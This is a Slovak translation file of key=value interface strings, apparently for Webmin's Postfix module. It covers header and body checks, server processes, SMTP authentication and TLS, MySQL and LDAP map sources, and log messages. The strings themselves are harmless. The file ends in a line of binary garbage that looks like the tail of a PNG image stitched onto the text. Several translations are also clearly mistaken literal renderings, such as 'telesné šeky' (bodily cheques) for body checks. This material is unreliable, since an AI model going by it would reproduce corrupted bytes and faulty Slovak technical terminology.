searchq_none=Nenašli sa žiadne správy vo fronte.

header_title=Kontroly hlavičky
header_ecannot=Nemáte oprávnenie upravovať kontroly hlavičiek
header_eregexp=Mapa kontroly hlavičiek musí byť vo formáte <tt>regexp:</tt> <i>filename</i>
opts_header_checks=Tabuľky na kontrolu hlavičiek MIME
header_name=Regulárny výraz
header_value=Akcia pre zápasy
header_discard=Zahodiť (so správou z denníka..)
header_dunno=Nerob nič
header_filter=Použiť filter ..
header_hold=Miesto čakacej fronty (so správou z denníka..)
header_ignore=Ignorovať
header_prepend=Pripravte text ..
header_redirect=Presmerovať na adresu ..
header_replace=Nahradiť textom.
header_reject=Odmietnuť (s chybovým hlásením..)
header_warn=Varovanie denníka (so správou..)
header_ename=Neplatný regulárny výraz - musí byť ako / niečo /
header_return=kontroly hlavičky

body_title=Kontroly tela
body_ecannot=Nemáte oprávnenie upravovať telesné šeky
body_eregexp=Mapa tela musí byť vo formáte <tt>regexp:</tt> <i>filename</i>
opts_body_checks=Tabuľky na kontrolu tela správy
body_return=telesné kontroly

dependent_title=Mapovanie dopravy závislé od odosielateľa
dependent_ecannot=Nemáte dovolené upravovať transportné mapovania závislé od odosielateľa
dependent_eregexp=Mapa prepravy závislá od odosielateľa musí byť vo formáte <tt>regexp:</tt> <i>filename</i>
dependent_return=mapovanie dopravy závislé od odosielateľa

manual_title=Upraviť súbor mapy
manual_file=Vyberte súbor mapy, ktorý chcete upraviť:
manual_change=zmena
manual_editing=Pomocou textového poľa nižšie manuálne upravte mapovania v $1. Buďte opatrní, pretože sa nebude vykonávať žiadna kontrola syntaxe ani platnosti.
manual_err=Uloženie súboru mapy zlyhalo
manual_efile=Neplatný názov súboru mapy!
manual_ecannot=Nemáte oprávnenie manuálne upravovať mapové súbory

delq_titles=Odstraňovanie správ
delq_rusure=Naozaj chcete odstrániť správy $1?
delq_confirm=Odstrániť správy

master_title=Procesy servera
master_name=Názov procesu
master_enabled=Povolené?
master_type=Druh prepravy
master_private=Súkromné?
master_unpriv=Neprivilegované?
master_chroot=Chroot?
master_max=Maximálny počet procesov
master_inet=internet
master_unix=Unixová zásuvka
master_fifo=Pomenovaná rúra
master_add=Pridajte nový proces servera.
master_unlimit=neobmedzený
master_ecannot=Nemáte oprávnenie upravovať procesy servera
master_edit=Upraviť proces servera
master_create=Vytvorenie procesu servera
master_header=Podrobnosti procesu servera Postfix
master_host=Vypočujte si adresu hostiteľa
master_any=Akákoľvek adresa
master_private2=Súkromné pre poštový systém?
master_unpriv2=Spustiť ako používateľ Postfixu?
master_chroot2=Chroot na adresár frontu pošty?
master_return=serverové procesy
master_defyes=Predvolené (Áno)
master_command=Príkaz na spracovanie
master_wakeup=Automaticky prebudiť proces?
master_wtime=Po $1 sekundách
master_wused=Iba ak sa skutočne používa
master_max2=Maximálne procesy
master_procs=Najviac $1
master_name2=Názov servera / port
master_egone=Proces servera už neexistuje!
master_eclash=Proces servera s rovnakým názvom a typom prenosu už existuje
master_err=Proces servera sa nepodarilo uložiť
master_ename=Chýba alebo je neplatný názov servera alebo port
master_ehost=Neplatná adresa hostiteľa na počúvanie
master_einet=Hostiteľskú adresu, na ktorej si ju chcete vypočuť, je možné zadať iba pre internetové procesy
master_ecommand=Chýba príkaz na spracovanie servera
master_ewakeup=Chýbajúci alebo neplatný čas prebudenia
master_emaxprocs=Chýbajúci alebo neplatný maximálny počet procesov

delete_err=Mapovania sa nepodarilo odstrániť
delete_enone=Žiadne vybraté

cmanual_title=Upraviť konfiguračné súbory
cmanual_ecannot=Nemáte oprávnenie upravovať konfiguračný súbor Postfix
cmanual_ok=editovať
cmanual_efile=Vybraný súbor nie je súčasťou konfigurácie Postfixu
cmanual_file=Upraviť konfiguračný súbor:
cmanual_edata=Nič nevstúpilo!
cmanual_err=Nepodarilo sa uložiť konfiguračný súbor

access_return=tabuľka prístupových máp
edit_map_file=Upraviť súbor mapy
opts_reject_rbl_client=Vyhľadávania v čiernej listine v reálnom čase (RBL)
opts_check_sender_access=Skontrolujte tabuľku prístupovej mapy odosielateľa

log_misc=Zmenené všeobecné možnosti
log_opts=Zmenené prepisovanie a maskovanie adries
log_aliases=Zmenené možnosti aliasu
log_canonical=Zmena možností kanonického mapovania
log_virtual=Zmenené možnosti virtuálnej domény
log_bcc=Zmenené možnosti mapy BCC
log_transport=Zmenené možnosti mapovania dopravy
log_sni=Zmeňte možnosti mapovania certifikátu
log_dependent=Zmenené možnosti adresy závislé od odosielateľa
log_relocated=Zmenené možnosti premiestnenia mapy
log_header=Zmenené možnosti kontroly hlavičky
log_body=Zmenené možnosti kontroly tela
log_debug=Zmenené funkcie ladenia
log_ldap=Zmenené vyhľadávanie LDAP
log_local=Zmenené miestne doručenie
log_rate=Zmenené dodacie sadzby
log_resource=Zmenená všeobecná kontrola zdrojov
log_smtp=Zmenené možnosti klienta SMTP
log_smtpd=Zmenené možnosti servera SMTP
log_alias_create=Vytvorený alias $1
log_alias_modify=Upravený alias $1
log_alias_delete=Odstránený alias $1
log_delete_aliases=Odstránené aliasy $1
log_virtual_alias_maps_create=Vytvorená virtuálna doména $1
log_virtual_alias_maps_modify=Upravená virtuálna doména $1
log_virtual_alias_maps_delete=Vymazaná virtuálna doména $1
log_delete_virtual_alias_mapss=Odstránené virtuálne domény $1
log_manual_virtual_alias_mapss=Ručne upravené virtuálne domény v $1
log_virtual_maps_create=Vytvorená virtuálna doména $1
log_virtual_maps_modify=Upravená virtuálna doména $1
log_virtual_maps_delete=Vymazaná virtuálna doména $1
log_delete_virtual_mapss=Odstránené virtuálne domény $1
log_manual_virtual_mapss=Ručne upravené virtuálne domény v $1
log_canonical_maps_create=Vytvorené kanonické mapovanie $1
log_canonical_maps_modify=Upravené kanonické mapovanie $1
log_canonical_maps_delete=Odstránené kanonické mapovanie $1
log_delete_canonical_mapss=Odstránené kanonické mapovania $1
log_manual_canonical_mapss=Ručné upravené kanonické mapovania v $1
log_recipient_canonical_maps_create=Vytvorené kanonické mapovanie príjemcov $1
log_recipient_canonical_maps_modify=Upravené kanonické mapovanie príjemcov $1
log_recipient_canonical_maps_delete=Kanonické mapovanie príjemcov bolo odstránené $1
log_delete_recipient_canonical_mapss=Odstránené kanonické mapovania $1
log_manual_recipient_canonical_mapss=Manuálne upravené kanonické mapovania príjemcov v $1
log_sender_canonical_maps_create=Vytvorené kanonické mapovanie odosielateľa $1
log_sender_canonical_maps_modify=Upravené kanonické mapovanie odosielateľa $1
log_sender_canonical_maps_delete=Kanonické mapovanie odosielateľa bolo odstránené $1
log_delete_sender_canonical_mapss=Odstránené kanonické mapovania odosielateľa $1
log_manual_sender_canonical_mapss=Ručne upravené kanonické mapovania odosielateľa v $1
log_transport_maps_create=Vytvorené mapovanie prepravy $1
log_transport_maps_modify=Modifikované mapovanie prepravy $1
log_transport_maps_delete=Odstránené mapovanie prepravy $1
log_delete_transport_mapss=Odstránené transportné mapovania $1
log_manual_transport_mapss=Manuálne upravené mapovania transportov v $1
log_relocated_maps_create=Vytvorené premiestnené mapovanie $1
log_relocated_maps_modify=Upravené premiestnené mapovanie $1
log_relocated_maps_delete=Odstránené premiestnené mapovanie $1
log_delete_relocated_mapss=Odstránené $1 premiestnené mapovania
log_manual_relocated_mapss=Manuálne upravené premiestnené mapovania v $1
log_header_checks_create=Vytvorená kontrola hlavičky $1
log_header_checks_modify=Upravená kontrola hlavičky $1
log_header_checks_delete=Kontrola odstránenej hlavičky $1
log_delete_header_checkss=Odstránené kontroly hlavičky $1
log_manual_header_checkss=Ručne upravené kontroly hlavičiek v $1
log_body_checks_create=Kontrola vytvoreného tela $1
log_body_checks_modify=Zmenená kontrola tela $1
log_body_checks_delete=Kontrola odstráneného tela $1
log_delete_body_checkss=Odstránené telesné kontroly $1
log_manual_body_checkss=Ručne upravené telo kontroluje v $1
log_master_create=Vytvorený serverový proces $1
log_master_modify=Proces upraveného servera $1
log_master_delete=Proces servera bol odstránený $1
log_manual=Ručne upravený konfiguračný súbor $1
log_stop=Zastavený server Postfix
log_start=Spustený server Postfix
log_reload=Obnovená konfigurácia Postfixu
log_delqs=Odstránené správy $1 z poštového frontu
log_flushq=Vyprázdnená fronta pošty
log_backend=Aktualizovaný konfiguračný súbor pre mapu $1
log_sasl=Zmenená autentifikácia a šifrovanie SMTP
log_client=Zmenené obmedzenia klienta SMTP
log_sender_dependent_default_transport_maps_create=Vytvorená adresa závislá od odosielateľa $1
log_sender_dependent_default_transport_maps_modify=Upravená adresa závislá od odosielateľa $1
log_sender_dependent_default_transport_maps_delete=Odstránená adresa závislá od odosielateľa $1
log_delete_sender_dependent_default_transport_mapss=Odstránené adresy závislé od odosielateľa $1
log_manual_sender_dependent_default_transport_mapss=Ručne upravené adresy závislé od odosielateľa v $1

sasl_title=Overenie a šifrovanie SMTP
opts_smtpd_sasl_auth_enable=Vyžadujete overenie SASL SMTP?
opts_smtp_sasl_auth_enable=Použiť SASL SMTP autentifikáciu?
opts_smtpd_tls_auth_only=Zakázať overovanie SASL pre nezabezpečené pripojenia?
opts_broken_sasl_auth_clients=Zaobchádzajte s klientmi SMTP, ktorí nie sú v súlade?
sasl_opts=Možnosti zabezpečenia SMTP
sasl_noanonymous=Odmietnuť anonymné prihlásenie
sasl_noplaintext=Odmietnuť prihlásenia prostého textu
opts_smtpd_delay_reject=Odklad klientov s neúspešným prihlásením?
sasl_recip=Obmedzenia pre príjemcov SMTP
sasl_relay=Obmedzenia relé SMTP
sasl_permit_mynetworks=Povoliť pripojenia z rovnakej siete
sasl_permit_sasl_authenticated=Povoliť overených klientov
sasl_reject_unauth_destination=Odmietnuť e-mail iným doménam
sasl_permit_inet_interfaces=Povoliť pripojenia z tohto systému
sasl_reject_unknown_reverse_client_hostname=Odmietnite klientov bez spätného hostiteľa
sasl_reject_unknown_client=Odmietnite klientov bez spätného hostiteľa
sasl_check_relay_domains=Povoliť iba prenosové domény
sasl_permit_mx_backup=Povoliť domény, pre ktoré je tento systém záložným serverom MX
sasl_permit_tls_all_clientcerts=Povoliť klientom TLS akýkoľvek certifikát
sasl_reject_unauth_pipelining=Odmietnuť skoré príkazy SMTP
sasl_check_client_access=Skontrolujte prístupovú mapu klienta :
sasl_reject_rbl_client=Odmietnuť, ak je adresa IP klienta v RBL :
sasl_reject_rhsbl_client=Odmietnuť, ak je názov hostiteľa v RBL :
opts_smtpd_tls_cert_file=Súbor certifikátu TLS
opts_smtpd_tls_key_file=TLS súbor súkromného kľúča
opts_smtpd_tls_CAfile=Súbor certifikačnej autority TLS
opts_smtpd_use_tls=Povoliť šifrovanie TLS?
opts_smtp_enforce_tls=Vyžadujete šifrovanie TLS?
sasl_err=Nepodarilo sa uložiť overenie a šifrovanie SMTP
sasl_ecert=Chýba alebo je neplatný súbor certifikátu TLS
sasl_ekey=Chýba alebo je neplatný súbor kľúčov TLS
sasl_eca=Chýba alebo je neplatný súbor certifikačnej autority TLS
sasl_level_none=nikdy
sasl_level_may=Na žiadosť klienta
sasl_level_encrypt=vždy
sasl_level_dane=Príležitostné DANE TLS
sasl_level_dane_only=Povinné DANE TLS
sasl_level_fingerprint=Overenie odtlačku certifikátu
sasl_level_verify=Povinné overenie TLS
sasl_level_secure=TLS zabezpečeného kanála
sasl_login=Prihlasovanie SMTP k hostiteľovi odchádzajúcej pošty
sasl_nologin=Nie je potrebné
sasl_userpass=Prihláste sa ako $1 s heslom $2
sasl_elogin=Chýbajúce alebo neplatné prihlásenie SMTP (nie sú povolené medzery ani dvojbodky)
sasl_epass=Neplatné heslo SMTP (nie sú povolené žiadne medzery)

client_title=Obmedzenia klientov SMTP
client_ecannot=Nemáte oprávnenie upravovať obmedzenia klientov SMTP
client_restrict=Obmedzenia klienta
client_restrict1=Predpona predvolená (povoliť všetkým klientom)
client_restrict0=Vybraté nižšie ..
client_other=Ďalšie obmedzenia :
client_err=Nepodarilo sa uložiť obmedzenia klienta
client_evalue=Chýba hodnota obmedzenia $1
client_return=Obmedzenia klienta SMTP

chooser_title=Vyberte Zdroj mapy
chooser_header=Zdroj mapy $1
chooser_none=nikto
chooser_hash=Mapovací súbor
chooser_regexp=Súbor Regexps
chooser_pcre=Súbor regexps v štýle perlu
chooser_other=Iný zdroj
chooser_mysql=MySQL databáza
chooser_mysqlsrc=Zdroj MySQL
chooser_mhosts=Hostitelia servera MySQL
chooser_muser=Prihlásenie do databázy
chooser_mpassword=Heslo databázy
chooser_mdbname=Názov databázy
chooser_mtable=Tabuľka obsahujúca mapu
chooser_mselect_field=Pole hodnoty
chooser_mwhere_field=Kľúčové pole
chooser_madditional_conditions=SQL pre klauzulu <tt>kde</tt>
chooser_err=Zdroj mapy sa nepodarilo uložiť
chooser_ehash=Chýbajúci alebo neplatný názov mapovania pre mapu $1
chooser_eregexp=Chýbajúci alebo neplatný názov súboru regulárnych výrazov pre mapu $1
chooser_epcre=Chýbajúci alebo neplatný názov súboru regulárnych výrazov kompatibilných s Perl pre mapu $1
chooser_eother=Chýba alebo je neplatný iný zdroj mapy $1
chooser_enone=Nezadané žiadne
chooser_emhosts=Chýbajú hostitelia servera MySQL pre mapu $1
chooser_emuser=Chýbajúce alebo neplatné prihlásenie do databázy pre mapu $1
chooser_empassword=Chýbajúce alebo neplatné heslo databázy pre mapu $1
chooser_emdbname=Chýbajúci alebo neplatný názov tabuľky pre mapu $1
chooser_emselect_field=Chýbajúce alebo neplatné pole hodnoty pre mapu $1
chooser_emwhere_field=Chýbajúce alebo neplatné pole kľúča pre mapu $1
chooser_emadditional=Chýbajú ďalšie podmienky SQL pre mapu $1
chooser_mquery=Vlastný dopyt pre mapu
chooser_emquery=Chýba vlastný dopyt pre mapu
chooser_lserver_host=Hostitelia servera LDAP
chooser_lserver_port=Port LDAP
chooser_lstart_tls=Použiť šifrovanie TLS?
chooser_lsearch_base=LDAP základne vyhľadávania LDAP
chooser_lquery_filter=Dopytový filter
chooser_lresult_attribute=Atribút výsledku
chooser_lscope=Rozsah vyhľadávania
chooser_lsub=Celá podstrom
chooser_lone=Jedna úroveň
chooser_lbase=Iba základňa
chooser_lbind=Prihlasujete sa na server LDAP?
chooser_lbind_dn=Prihlasovanie servera
chooser_lbind_pw=Heslo servera
chooser_ldap=LDAP server
chooser_lfilter=Iný filter
chooser_lattribute=Iný atribút
chooser_elserver_host=Chýbajú hostitelia servera LDAP pre mapu $1
chooser_elserver_port=Chýba alebo je neplatný port servera LDAP pre mapu $1
chooser_elsearch_base=Chýba základňa vyhľadávania LDAP pre mapu $1
chooser_elquery_filter=Chýba filter filtrov pre mapu $1
chooser_elresult_attribute=Chýbajúci alebo neplatný názov atribútu výsledku pre mapu $1
chooser_elbind_dn=Chýba prihlásenie pre server LDAP pre mapu $1
chooser_elbind_pw=Chýba heslo pre server LDAP pre mapu $1

mysql_ecfile=Konfiguračný súbor MySQL $1 nebol nájdený
mysql_ecfile2=V konfiguračnom súbore MySQL sa nepodarilo nájsť tabuľku $1
mysql_edriver=Nepodarilo sa načítať ovládač databázy $1
mysql_elogin=Nepodarilo sa prihlásiť do databázy $1:$2.
mysql_equery=Nepodarilo sa spýtať tabuľku $1 : $2 
mysql_eadd=Vloženie SQL zlyhalo : $1
mysql_edelete=Odstránenie SQL zlyhalo : $1
mysql_eupdate=Aktualizácia SQL zlyhala : $1
mysql_elist=SQL dotaz zlyhal : $1
mysql_esource=Nenašiel sa žiadny zdroj MySQL s názvom $1
mysql_eneed=Konfiguračný parameter MySQL $1 nebol nájdený. Webmin to potrebuje, aby zistil, ktoré tabuľky a polia sa majú dotazovať.

ldap_ecfile=Konfiguračný súbor LDAP $1 nebol nájdený
ldap_eldapmod=Perl modul $1 potrebný na komunikáciu s LDAP nie je nainštalovaný alebo sa nedá načítať
ldap_eldap=Nepodarilo sa pripojiť k serveru LDAP $1 na porte $2
ldap_eldaplogin=Nepodarilo sa prihlásiť na server LDAP $1 ako $2 : $3 
ldap_ebase=Základný DN LDAP $1 nie je platný : $2
ldap_eadd=Pridanie LDAP $1 zlyhalo : $2
ldap_edelete=Odstránenie protokolu LDAP položky $1 zlyhalo : $2
ldap_equery=LDAP vyhľadávanie $1 zlyhalo : $2
ldap_erename=Premenovanie LDAP z $1 na $2 zlyhalo : $3
ldap_emodify=LDAP modifikácia $1 zlyhala : $2

bcc_title=Mapovanie BCC
bcc_ecannot=Nemáte dovolené upravovať mapovania BCC
opts_sender_bcc_maps=Vyhľadávacie tabuľky mapovania BCC odosielateľa
opts_recipient_bcc_maps=Vyhľadávacie tabuľky mapovania BCC príjemcu
bcc_sender=Mapovanie odosielateľa
bcc_recipient=Mapovania príjemcov
bcc_senderdesc=Mapovania BCC odosielateľa definujú dodatočnú e-mailovú adresu, z ktorej bude pošta <b>z</b> uvedených adries alebo domén obsahovať BCCd.
bcc_recipientdesc=Mapovania BCC príjemcu definujú dodatočnú e-mailovú adresu, na ktorú budú poštou <b>až</b> uvedené adresy alebo domény BCCd.
y~or5J={Eeu磝QkᯘG{?+]ן?wM3X^歌>{7پK>on\jyR g/=fOroNVv~Y+NGuÝHWyw[eQʨSb>>}Gmx[o[<{Ϯ_qF vMIENDB`